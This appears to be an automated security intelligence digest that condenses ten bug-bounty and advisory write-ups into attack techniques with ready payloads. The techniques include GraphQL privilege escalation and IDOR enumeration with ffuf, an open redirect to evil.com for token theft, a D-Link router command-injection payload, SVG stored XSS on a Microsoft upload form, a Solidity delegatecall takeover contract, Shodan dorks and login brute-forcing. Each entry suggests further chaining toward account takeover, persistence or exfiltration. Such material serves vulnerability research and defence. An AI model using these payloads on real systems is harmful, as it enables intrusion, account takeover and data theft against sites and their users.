ETX Signal-X

Daily Intelligence Digest

Saturday, March 7, 2026

10	18
ARTICLES	TECHNIQUES

Article 1

How I Used the js.map File to Gain Admin Access

Source: securitycipher

Date: 02-Jul-2025

URL: https://cyphernova1337.medium.com/how-i-used-the-js-map-file-to-gain-admin-access-e30e6f00adb7

T1 Source Map Extraction for Full Application Recon

💉 Payload

```
GET /static/js/main.js.map HTTP/1.1
Host: targetsite.com

# (or any discovered .js.map file path)
```

⚔️ Attack Chain

1. Identify accessible `.js.map` files on the target (e.g., `/static/js/main.js.map`).
2. Download the `.js.map` file directly via HTTP GET.
3. Use `Sourcemapper` (or similar tool) to reconstruct the original JavaScript source code and directory structure from the `.js.map` file.
4. Analyze the recovered source for internal API endpoints, GraphQL schemas, mutations, queries, authentication logic, and hardcoded secrets.

🔍 Discovery

Manual inspection of loaded JavaScript files in browser dev tools (look for `//# sourceMappingURL=` comments) or brute-forcing common `.js.map` paths. Triggered by noticing source map references in production JavaScript files.

🔓 Bypass

N/A (direct access due to misconfiguration).

🔗 Chain With

Use recovered endpoints and schemas for further API, GraphQL, or business logic attacks. Extract hardcoded secrets or credentials for lateral movement. Map out the application's internal structure for chained exploits (SSRF, IDOR, etc.).

T2 Privilege Escalation via Exposed GraphQL Mutations (from Source Map Recon)

💉 Payload

```
POST /graphql HTTP/1.1
Host: targetsite.com
Content-Type: application/json

{
  "query": "mutation { createUser(username: \"attacker\", email: \"attacker@evil.com\", pas
sword: \"SuperSecret123!\") { id } }"
}
```

⚔️ Attack Chain

1. Extract GraphQL schema, mutations, and queries from the reconstructed source code (from `.js.map`).
2. Identify sensitive mutations (e.g., `createUser`, `updateUserRole`) and their required parameters.
3. Use `createUser` mutation to register a new user.
4. Use `updateUserRole` mutation to escalate the newly created user to `admin` (or other privileged role).
5. Access `/adminPanel` or invoke `adminActions` queries/mutations as an admin.
6. Optionally, enumerate or query sensitive data (e.g., project names) using the revealed schema.

🔍 Discovery

Manual code review of the de-minified source code revealed by the `.js.map` file. Focused on GraphQL schema and business logic functions exposed in client-side code.

🔓 Bypass

Privilege escalation possible due to lack of server-side access control enforcement on the `updateUserRole` mutation (as revealed in client code logic).

🔗 Chain With

Combine with session fixation, ATO, or token theft for persistent admin access. Use admin access to dump further sensitive data, manipulate users, or deploy additional payloads.

T3 Unauthenticated Sensitive Data Enumeration via GraphQL (from Schema Exposure)

💉 Payload

```
POST /graphql HTTP/1.1
Host: targetsite.com
Content-Type: application/json

{
  "query": "{ projectNames }"
}
```

⚔️ Attack Chain

1. Use schema information from the `.js.map` file to discover undocumented queries (e.g., `projectNames`).
2. Send unauthenticated GraphQL queries to enumerate sensitive data fields.
3. Collect restricted information (e.g., internal project names) for further social engineering or targeting.

🔍 Discovery

Schema introspection and query enumeration based on the full GraphQL structure revealed via the source map extraction.

🔓 Bypass

Sensitive queries accessible without authentication due to missing server-side authorization checks (as revealed in code logic).

🔗 Chain With

Use internal project names for phishing, targeted attacks, or to bypass other security controls. Combine with other GraphQL vulnerabilities (e.g., mass assignment, IDOR) for deeper compromise.

Article 2

Open Redirect Vulnerability in Microsoft Create Portal

Source: securitycipher

Date: 27-Jul-2024

URL: https://zeynalxan.medium.com/open-redirect-vulnerability-in-microsoft-create-portal-6654eb3e6b7a

T1 Open Redirect with Auth Token Leakage via fallbackUrl Parameter

💉 Payload

```
https://create.microsoft.com/en-us/launch-app?fallbackUrl=https://evil.com
```

⚔️ Attack Chain

1. Attacker crafts a URL to the Microsoft Create portal's /launch-app endpoint, setting the `fallbackUrl` parameter to a malicious external domain (e.g., https://evil.com).
2. Victim is tricked into clicking the crafted URL while authenticated to Microsoft.
3. The portal redirects the user to the attacker-controlled domain specified in `fallbackUrl`.
4. During the redirect, the authentication token is included in the request, leaking it to the attacker.
5. Attacker captures the token and uses it to hijack the victim's Microsoft account.

🔍 Discovery

Manual parameter fuzzing of the /launch-app endpoint, focusing on open redirect vectors. The researcher noticed the `fallbackUrl` parameter was not validated for safe domains, and observed that authentication tokens were transmitted during the redirect.

🔓 Bypass

No domain whitelisting or validation was performed on the `fallbackUrl` parameter, allowing arbitrary external URLs. The endpoint did not strip or sanitize tokens from the redirect process.

🔗 Chain With

Combine with phishing campaigns to increase credibility (Microsoft domain as origin). Use leaked auth token for full account takeover, lateral movement, or privilege escalation within Microsoft services. Potential to chain with other vulnerabilities if the token grants API or SSO access to additional Microsoft assets.

Article 3

$1,160 Bounty: Unveiling GitLab's IDOR Flaw

Source: securitycipher

Date: 30-Jun-2025

URL: https://medium.com/h7w/1-160-bounty-unveiling-gitlabs-idor-flaw-248cc766fd1b

T1 Unauthorized Access to Private GitLab ML Models via GraphQL IDOR

💉 Payload

```
POST /api/graphql HTTP/2
Host: gitlab.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/
126.0
Content-Type: application/json
Cookie: <account-b-cookie>
X-Csrf-Token: <account-b-csrf-token>

{"operationName":"getModel","variables":{"id":"gid://gitlab/Ml::Model/1000401"},"query":"qu
ery getModel($id: MlModelID!) {\n  mlModel(id: $id) {\n    id\n    description\n    name\n
versionCount\n    candidateCount\n    latestVersion {\n      id\n      version\n      packa
geId\n      description\n      candidate {\n        id\n        name\n        status\n
}\n    }\n  }\n}"}
```

⚔️ Attack Chain

1. Log in as Account A (model owner), create a private project and register a model in the Model Registry.
2. Intercept the GraphQL `getModel` query for the private model and note the model ID (e.g., `gid://gitlab/Ml::Model/1000401`).
3. Log in as Account B (no access to the project/model).
4. Replay the intercepted `getModel` query using Account B's session cookies and CSRF token.
5. Observe that the response returns private model data, confirming unauthorized access.

🔍 Discovery

Burp Suite's Autorize extension was used to swap session cookies between privileged (Account A) and unprivileged (Account B) users. Autorize flagged the GraphQL endpoint as returning sensitive data to unauthorized users.

🔓 Bypass

No authorization checks enforced on the GraphQL endpoint for model access. Incremental model IDs allowed direct access via ID manipulation.

🔗 Chain With

Use extracted model IDs to enumerate all models (see Technique 2). Use exposed model metadata to target further attacks (e.g., artifact download, model version access).

T2 Mass Enumeration of Private Models via Incremental GraphQL IDs

💉 Payload

```
POST /api/graphql HTTP/2
Host: gitlab.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/
126.0
Content-Type: application/json
Cookie: <account-b-cookie>
X-Csrf-Token: <account-b-csrf-token>

{"operationName":"getModel","variables":{"id":"gid://gitlab/Ml::Model/1000400"},"query":"qu
ery getModel($id: MlModelID!) { mlModel(id: $id) { id name } }"}
```

⚔️ Attack Chain

1. Identify a valid model ID (e.g., `1000401`) from a legitimate request.
2. Decrement/increment the ID value (e.g., `1000400`, `1000399`, ...).
3. Send the `getModel` GraphQL query with each ID using Account B's credentials.
4. Collect responses containing model data, including those for private models.

🔍 Discovery

The model IDs were observed to be incremental and predictable (e.g., `gid://gitlab/Ml::Model/1000401`). Manual and automated enumeration (via scripts or FFUF) confirmed that private models could be discovered and accessed.

🔓 Bypass

Predictable, sequential IDs combined with missing access controls enabled trivial enumeration and mass data extraction.

🔗 Chain With

Use discovered model IDs as input for further queries (e.g., version extraction, artifact download, lateral movement). Automate enumeration with scripts or fuzzers for large-scale data harvesting.

T3 Extraction of Private Model Version Details via GraphQL IDOR

💉 Payload

```
POST /api/graphql HTTP/2
Host: gitlab.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/
126.0
Content-Type: application/json
Cookie: <account-b-cookie>
X-Csrf-Token: <account-b-csrf-token>

{"operationName":"getModelVersion","variables":{"modelId":"gid://gitlab/Ml::Model/100040
1","modelVersionId":"gid://gitlab/Ml::ModelVersion/1000535"},"query":"query getModelVersion
($modelId: MlModelID!, $modelVersionId: MlModelVersionID!) {\n  mlModel(id: $modelId) {\n
id\n    name\n    version(modelVersionId: $modelVersionId) {\n      id\n      version\n
packageId\n      description\n      candidate {\n        id\n        name\n        status\n
}\n    }\n  }\n}"}
```

⚔️ Attack Chain

1. Use the `getModel` query (see Technique 1) to extract `latestVersion.id` from a private model.
2. Send a `getModelVersion` GraphQL query with both the model ID and model version ID, using Account B's credentials.
3. Observe that private version details (e.g., version, packageId, candidate info) are returned to the unauthorized user.

🔍 Discovery

After confirming model-level IDOR, the researcher chained the attack by extracting version IDs from the model response and querying for version details. The same lack of access control applied to version queries.

🔓 Bypass

No authorization checks on model version queries; version IDs are also incremental and guessable.

🔗 Chain With

Use version details to attempt artifact downloads or further privilege escalation. Combine with enumeration (Technique 2) for full registry compromise.

T4 Automated Enumeration and Fuzzing of GraphQL Model IDs

💉 Payload

```
ffuf -u https://gitlab.com/api/graphql -w ids.txt:ID -H "Cookie: <account-b-cookie>" -H "X-Csrf-Token: <account-b-csrf-token>" -d '{"operationName":"getModel","variables":{"id":"gid://gitlab/Ml::Model/ID"},"query":"query getModel($id: MlModelID!) { mlModel(id: $id) { id name } }"}' -mc 200
```

⚔️ Attack Chain

1. Prepare a wordlist of possible model IDs (e.g., `ids.txt` with incremental values).
2. Use FFUF or a custom script to fuzz the GraphQL endpoint, injecting each ID into the query payload.
3. Collect and analyze responses for exposed model data, including those belonging to private projects.

🔍 Discovery

After identifying the IDOR and incremental ID pattern, the researcher automated enumeration using FFUF and Python scripts for large-scale exploitation.

🔓 Bypass

Automation leverages the same lack of access control and predictable ID scheme.

🔗 Chain With

Use automation to map entire model registries across all tenants. Feed discovered IDs into further exploitation chains (e.g., download artifacts, pivot to other APIs).

Article 4

Authentication Bypass Vulnerability—Impersonation on Article Comments

Source: securitycipher
Date: 21-Mar-2025
URL: https://take0verx0.medium.com/authentication-bypass-vulnerability-impersonation-on-article-comments-97169213b07c

T1 Authentication Bypass via Client-Supplied User ID in Comment Submission

💉 Payload

```
POST /backstage/comment_process.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

client_user_id=12345&nickname=admin&email=admin@example.com&comment=This+is+a+test+comment
```

⚔️ Attack Chain

1. Navigate to any article page with a comment feature (e.g., https://www.example.com/article/1234#).
2. Initiate a comment submission, intercept the POST request to /backstage/comment_process.php.
3. Modify the hidden fields in the POST data: set client_user_id to the target user's ID, nickname to the target's display name, and email to the target's email address.
4. Submit the modified request.
5. Observe a 302 redirect in the response; follow the redirection to the blog endpoint.
6. The comment appears as if posted by the impersonated user.

🔍 Discovery

While interacting with the article comment feature, the researcher noticed that the client_user_id, nickname, and email fields were sent as hidden fields in the POST request. Manual tampering revealed that the server did not validate these fields against the authenticated session.

🔓 Bypass

The server trusts client-supplied user identification fields (client_user_id, nickname, email) without verifying them against the session or authentication context, allowing direct impersonation.

🔗 Chain With

If client_user_id is used for other permission checks (e.g., moderation, content management), this could escalate to broader privilege abuse or horizontal/vertical privilege escalation. Can be chained with stored XSS if the impersonated user is an admin or moderator, increasing impact.

Article 5

Gmail OAuth Enforcement Bypass 100$ deal.

Source: securitycipher

Date: 15-Sep-2025

URL: https://ch1ta.medium.com/gmail-oauth-enforcement-bypass-100-deal-4644a9a3ebe6

T1 Gmail OAuth Enforcement Bypass via Signup Email Swap

💉 Payload

```
POST /signup HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "email": "victim@gmail.com",
  "password": "AttackerChosenPassword"
}
```

⚔️ Attack Chain

1. Initiate a normal signup with a non-Gmail email (e.g., `example@evil.com`) and a password via the registration endpoint.
2. Intercept the outgoing signup request in a proxy tool (e.g., Burp Suite).
3. Before forwarding the request, modify the `email` parameter in the POST body from the non-Gmail address to a target Gmail address (e.g., `victim@gmail.com`).
4. Forward the modified request to the backend.
5. Observe that the account is created for the Gmail address with a password, bypassing the intended OAuth-only enforcement for Gmail users.

🔍 Discovery

Manual business logic testing: The researcher noticed the frontend enforced OAuth for `@gmail.com` addresses but suspected backend validation might be missing. By manipulating the intercepted signup request, they tested backend enforcement directly.

🔓 Bypass

The backend failed to re-validate the email domain and enforce OAuth for Gmail addresses, trusting the frontend restriction. Directly submitting a Gmail address in a modified signup request bypassed the intended OAuth flow.

🔗 Chain With

Account pre-registration/denial-of-service: Attacker can "reserve" Gmail addresses, preventing legitimate users from registering. Account takeover: If the real Gmail user attempts to register later, they are blocked or forced into a password reset flow controlled by the attacker. Trust boundary breakdown: If other flows (e.g., password reset, email change) rely on OAuth enforcement for Gmail, these may also be bypassable via similar request tampering.

Article 6

Exploiting Django Debug Mode for Unrestricted Access to the Internal Dashboard?

Source: securitycipher

Date: 12-Dec-2023

URL: https://rokkamvamsi18.medium.com/exploiting-django-debug-mode-for-unrestricted-access-to-the-internal-dashboard-b725783714ae

T1 Unauthorized Dashboard Access via Django Debug Mode Exposure

💉 Payload

```
GET /adminlte HTTP/1.1
Host: redacted.com
```

⚔️ Attack Chain

1. Identify subdomains running Django using Wappalyzer, BuiltWith, or Shodan dorks (e.g., `http.component:django ssl:redacted.com`).
2. Test each subdomain for Django debug mode by appending random text to the root path (e.g., `https://redacted.com/random_text`).
3. If a non-standard 404 page is returned (with internal endpoint leakage), enumerate all endpoints disclosed on the debug page.
4. Access each endpoint directly (e.g., `/task/disable`, `/cloud`, `/schedule`, `/admin`, `/adminlte`).
5. If `/adminlte` is accessible without authentication, gain full access to the internal Cloud Cost Scheduler Dashboard.

🔍 Discovery

Manual endpoint fuzzing based on paths leaked in the Django debug 404 page after confirming debug mode is enabled. Shodan dorks were used to identify Django hosts, and random path appending was used to trigger debug error pages.

🔓 Bypass

No authentication or session required—direct access due to misconfiguration (debug mode exposing internal endpoints and disabling access controls).

🔗 Chain With

Use the debug page to enumerate additional sensitive endpoints or gather stack traces for further exploitation (e.g., LFI, RCE, or credential leaks). Combine with Shodan dorking for mass discovery of similar exposures across an organization's infrastructure.

T2 Shodan Dorking for Django Debug Mode Discovery

💉 Payload

```
http.component:django ssl:redacted.com
http.title:"DisallowedHost at /"
```

⚔️ Attack Chain

1. Use Shodan with the above dorks to enumerate all internet-exposed Django applications for a given organization.
2. Review results for hosts with debug mode enabled (e.g., via error pages or titles indicating misconfiguration).
3. Target identified hosts for further endpoint enumeration and exploitation as in Technique 1.

🔍 Discovery

Leveraged Shodan search syntax to automate discovery of Django hosts and filter for those with debug mode or misconfigurations visible in HTTP responses.

🔓 Bypass

Bypasses traditional recon limitations by using search engines to identify misconfigured hosts that may not be exposed via DNS or standard enumeration.

🔗 Chain With

Combine with automated subdomain enumeration and mass HTTP probing for wide-scale asset discovery. Use in conjunction with endpoint fuzzing and debug page analysis for rapid exploitation of newly discovered hosts.

Article 7

Ethernaut Challenge Level 16: Solution (Preservation)

Source: securitycipher

Date: 24-Feb-2024

URL: https://shubhamnagar1.medium.com/ethernaut-challenge-level-16-solution-preservation-4403230b469c

T1 Ownership Takeover via Storage Slot Collision and delegatecall

💉 Payload

```
// Step 1: Deploy malicious contract
pragma solidity ^0.8.0;
contract PreservationHack {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  function hack() external {
    owner = msg.sender;
  }
}

// Step 2: Call setFirstTime with address of malicious contract
Preservation.setFirstTime(<uint256 representation of PreservationHack contract address>);

// Step 3: Call setFirstTime again with any uint (triggers delegatecall to hack())
Preservation.setFirstTime(<any_uint>);
```

⚔️ Attack Chain

1. Deploy a malicious contract (PreservationHack) with the same storage layout as the target (owner at slot 2).
2. Call `setFirstTime` on the target Preservation contract, passing the address of your malicious contract as a uint256 argument. This overwrites the `timeZone1Library` address in the target contract (slot 0) with your contract's address.
3. Call `setFirstTime` again, passing any uint value. The Preservation contract will delegatecall into your malicious contract's `setTime` function, but due to the storage layout, your contract's `owner` variable will map to the Preservation contract's `owner` slot and set it to your address.

🔍 Discovery

Manual code audit of the Preservation contract revealed delegatecall usage with user-controlled library addresses and mismatched storage layouts between the main contract and the library. The researcher recognized that delegatecall would allow writing to arbitrary storage slots in the context of the calling contract.

🔓 Bypass

The attack leverages: The ability to overwrite the library address via a public setter (setFirstTime) The lack of storage layout alignment between the library and the main contract delegatecall executing in the context of the caller, allowing arbitrary storage slot writes

🔗 Chain With

If other privileged functions are gated by the `owner` variable, full control is possible after takeover. Can be chained with reentrancy or further delegatecall attacks if additional delegatecall entry points exist.

Article 8

A security flaw has been discovered in D-Link DIR-823X 250416. Impacted is the function sub_41E2A0 of the file /goform/set_mode. Performing a manipulation of the argument lan_gateway results in os command injection. The attack is possible to be carried ou

Source: threatable

Date:

URL: https://github.com/master-abc/cve/issues/16

T1 Authenticated Command Injection via `lan_gateway` Parameter (Newline Injection)

💉 Payload

```
POST /goform/set_mode HTTP/1.1
Host: <target_ip>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: http://<target_ip>
Connection: close
Referer: http://<target_ip>/index.html

modeSelection=0&proto=dhcp&lan_ipaddr=192.168.1.1&lan_netmask=255.255.255.0&lan_gateway=19
2.168.1.1"\n<COMMAND>\necho "&set_flag=0&token=<token>
```

⚔️ Attack Chain

1. Obtain a valid session token by authenticating to the web interface (GET /, extract token from cookies).
2. Hash the password using HMAC-SHA256 with the token as key.
3. Authenticate via POST /goform/login with username, hashed password, and token.
4. Craft a POST request to /goform/set_mode with the `lan_gateway` parameter containing a newline (`\n`) followed by the desired shell command and another newline plus `echo "`.
5. Send the payload with valid session cookies and token.
6. For time-based detection, use `sleep <N>` as the injected command and measure response time.

🔍 Discovery

Manual reverse engineering of the D-Link DIR-823X firmware binary, focusing on the `/goform/set_mode` handler and the `sub_41E2A0` function. Identification of user input (`lan_gateway`) being passed to shell command construction without proper sanitization. Testing with newline injection and observing command execution via time-based (sleep) and file-based (write to /tmp) side channels.

🔓 Bypass

The vulnerable code does not properly sanitize or validate the `lan_gateway` parameter, allowing newline injection to break out of the intended command context. No evidence of blacklist or input filtering on shell metacharacters or newlines at the point of injection.

🔗 Chain With

Post-auth RCE can be chained with credential brute-force or session fixation if weak authentication is present. Successful command execution allows for persistence (e.g., crontab), lateral movement, or exfiltration. Blind injection can be leveraged for data exfiltration via DNS or HTTP callbacks if outbound connectivity is available.

T2 Blind Command Injection Detection via Time-Based Side Channel

💉 Payload

```
lan_gateway=192.168.1.1"\nsleep 5\necho "
```

⚔️ Attack Chain

1. Authenticate and obtain a valid session token as above.
2. Inject the payload into the `lan_gateway` parameter.
3. Send the request and measure the server's response time.
4. If the response time is greater than or equal to the injected sleep duration, command execution is confirmed.

🔍 Discovery

The PoC script leverages time-based blind command injection to confirm exploitability without direct output. The researcher used `sleep <N>` and compared response time to the expected delay.

🔓 Bypass

No output is returned to the attacker; only timing differences can be observed. This technique is effective even if the web interface does not return command output.

🔗 Chain With

Can be used as a primitive to confirm code execution before attempting more impactful payloads (e.g., reverse shell, file write). Can be chained with out-of-band (OOB) callbacks for further exploitation.

Article 9

bug-bounty Rate Limit vulnerability

Source: securitycipher

Date: 07-Jan-2025

URL: https://medium.com/@eslamatef396/bug-bounty-rate-limit-vulnerability-cb81481456bc

T1 Rate Limit Absence on Password Reset Endpoint

💉 Payload

```
POST /forgot-password HTTP/1.1
Host: xyz
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

email=targetuser@example.com
```

⚔️ Attack Chain

1. Identify the password reset endpoint (e.g., /forgot-password) on the target application.
2. Intercept a legitimate password reset request using Burp Suite.
3. Send the request to Burp Intruder.
4. Configure Intruder to send a high volume of requests (e.g., 1000+) with the same or different email addresses.
5. Observe that the server does not enforce rate limiting and responds with "verification code has been sent to this account" for each request.

🔍 Discovery

Manual testing of the password reset endpoint after subdomain enumeration and live host filtering. The researcher noticed no blocking or throttling after sending a large number of requests.

🔓 Bypass

No rate limiting or IP-based throttling is implemented, allowing unrestricted brute force or enumeration attempts.

🔗 Chain With

Can be chained with OTP brute force, account enumeration, or credential stuffing attacks for ATO (Account Take Over).

T2 Rate Limit Absence on Login Endpoint

💉 Payload

```
POST /login HTTP/1.1
Host: xyz
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

email=targetuser@example.com&password=GUESSME123
```

⚔️ Attack Chain

1. Identify the login endpoint (e.g., /login) on the target application.
2. Intercept a legitimate login request using Burp Suite.
3. Send the request to Burp Intruder.
4. Configure Intruder to brute force passwords for a target email address by sending a high volume of requests with different password values.
5. Observe that the server does not enforce rate limiting, allowing unlimited login attempts.

🔍 Discovery

After confirming rate limit absence on the password reset endpoint, the researcher repeated the process on the login endpoint and observed the same vulnerability.

🔓 Bypass

No rate limiting or lockout on failed login attempts, allowing credential brute force attacks.

🔗 Chain With

Can be chained with credential stuffing, password spraying, or session fixation for full account compromise.

Article 10

Unrestricted File Upload Lead to Stored XSS at Microsoft main domain

Source: securitycipher

Date: 15-Jan-2024

URL: https://medium.com/@cavdarbashas/unrestricted-file-upload-lead-to-stored-xss-at-microsoft-main-domain-baa9cadac6bd

T1 SVG File Upload for Stored XSS via Content-Type and Filename Manipulation

💉 Payload

```
POST /en-us/concern/bing/upload HTTP/1.1
Host: www.microsoft.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg">
  <script><![CDATA[alert(document.domain)]]></script>
</svg>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

⚔️ Attack Chain

1. Navigate to https://www.microsoft.com/en-us/concern/bing and locate the file upload form.
2. Select any .jpg file for upload to trigger the file picker.
3. Intercept the upload request using a proxy (e.g., Burp Suite).
4. Modify the intercepted request:
5. Forward the modified request to the server.
6. Observe the response for the uploaded file endpoint.
7. Visit the uploaded SVG file's endpoint in a browser; the XSS payload executes in the context of www.microsoft.com.

🔍 Discovery

Manual fuzzing of file upload functionality. The researcher noticed the upload form allowed file selection and intercepted the request to test for file type/content enforcement. By changing the filename and content-type to SVG and injecting script code, they confirmed the server did not restrict SVG uploads or sanitize SVG content.

🔓 Bypass

The application only checked the file extension client-side (.jpg), which was bypassed by intercepting and modifying the request server-side. No server-side validation of file type or content, allowing SVG with embedded JavaScript to be uploaded and rendered.

🔗 Chain With

If the uploaded SVG is accessible under a predictable path, this can be chained with CSRF or phishing to force admin or privileged users to trigger the XSS. If the upload endpoint is available on other Microsoft subdomains, this technique could be leveraged for cross-domain attacks or privilege escalation.